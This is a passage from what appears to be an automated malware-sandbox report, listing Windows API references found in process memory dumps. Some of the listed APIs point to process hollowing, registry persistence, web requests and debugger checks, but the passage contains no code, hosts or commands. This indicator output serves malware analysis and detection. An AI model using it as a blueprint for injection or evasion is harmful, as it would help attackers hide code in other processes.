"GetFileVersionInfoA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00000768.00000002.71414.01311000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00000768.00000002.71414.01311000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00000768.00000002.71414.01311000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process2"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetSystemWow64Directory2W"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "SetProcessMitigationPolicy"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "AttachConsole"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "FreeConsole"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "Wow64EnableWow64FsRedirection"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "CreateActCtxW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "ActivateActCtx"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "DeactivateActCtx"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "ReleaseActCtx"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "QueryActCtxW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "PathIsRelativeW"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "NtQuerySystemInformation"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "RtlImageNtHeader"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "NtSetInformationProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "NtQueryInformationToken"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "NtOpenProcessToken"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "NtClose"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: 